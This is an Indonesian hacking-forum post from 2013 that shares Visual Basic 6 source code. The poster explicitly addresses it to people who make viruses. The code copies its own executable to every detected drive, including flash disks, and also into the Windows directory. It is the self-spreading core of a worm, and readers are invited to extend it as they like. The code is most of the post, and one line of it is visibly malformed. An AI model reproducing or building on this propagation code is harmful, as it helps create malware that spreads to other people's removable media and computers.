Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
(VB6) nyebarin file
#1
mw berbagi sedikit hehe.. tapi maaf juga nih klo ada yg pernah ngejelasin (repost) delet aja gapapa Mentok

yg hobi bikin virus bisa pake scrpt ini jadi fungsi nya itu nyebarin file ke flash disk dan ke hardisk hardisk lainnya.
Buat Project baru + buat Button
Paste code ini :

Code:
Private Declare Function GetDriveType Lib "kernel32" _ Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Private Declare Function GetWindowsDirectory _ Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Function DriveType(Drive As String) As String ''////fungsi mengecek drive Dim sAns As String, lAns As Long 'fix bad parameter values If Len(Drive) = 1 Then Drive = Drive = Drive & ":\" If Len(Drive) = 2 And Right$(Drive, 1) = ":" _ Then Drive = Drive & "\" lAns = GetDriveType(Drive) Select Case lAns Case 2 sAns = "Removable Drive" Case 3 sAns = "Fixed Drive" Case 4 sAns = "CD-ROM" Case 6 sAns = "RAM Disk" Case Else sAns = "Drive Doesn't Exist" End Select DriveType = sAns End Function Private Sub kodepengganda() Dim ictr As Integer Dim sDrive As String Dim x As Byte ReDim sDrives(0) As String For ictr = 65 To 90 sDrive = Chr(ictr) & ":\" If DriveType(sDrive) <> "Drive Doesn't Exist" Then On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "tes.exe" End If Next End Sub Private Sub kopikewindows() Dim buffer As String * 255 Dim x As Long x = GetWindowsDirectory(buffer, 255) On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & _ "\tes_di_direktory_windows.exe" End Sub Private Sub Command5_click() kopikewindows kodepengganda MsgBox "Kode Berhasil Dijalankan", 0, "Berhasil" End Sub

Command buton nya ganti jadi Command5 tinggal di kembangkan sesuai keinginan deh
Thanks sebelumnya BahagiaBahagia


Lihat Comment nya juga ya penting itu juga Ganteng
[Image: 120onel.gif]
twitter : @L_Wafi
Reply


Messages In This Thread
(VB6) nyebarin file - by Commander - 04-04-2013, 04:37 PM
RE: (VB6) nyebarin file - by B4t4kz - 04-04-2013, 04:41 PM
RE: (VB6) nyebarin file - by rifaldi238 - 04-04-2013, 05:28 PM
RE: (VB6) nyebarin file - by sohai - 04-04-2013, 05:28 PM
RE: (VB6) nyebarin file - by Commander - 04-04-2013, 05:40 PM
RE: (VB6) nyebarin file - by UHD - 05-16-2013, 05:55 PM
RE: (VB6) nyebarin file - by Destr0yer - 05-20-2013, 05:23 PM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Membuka File Musik atau Film dengan VB 6.0 Mr.AT 3 190 06-07-2012, 10:06 PM
Last Post: billy_cyber
  [MUST READ] Tolong Kasih Cara Mengubah File Visual Basic 6 menjadi format"exe" A.ivantank 12 136 01-05-2012, 12:13 PM
Last Post: manzcenk
Heart_16 Atribut File dan Antideletion pada Visual Basic E1nzte1N 14 150 12-15-2011, 05:23 PM
Last Post: KhyazGarry

Forum Jump:


Users browsing this thread: 1 Guest(s)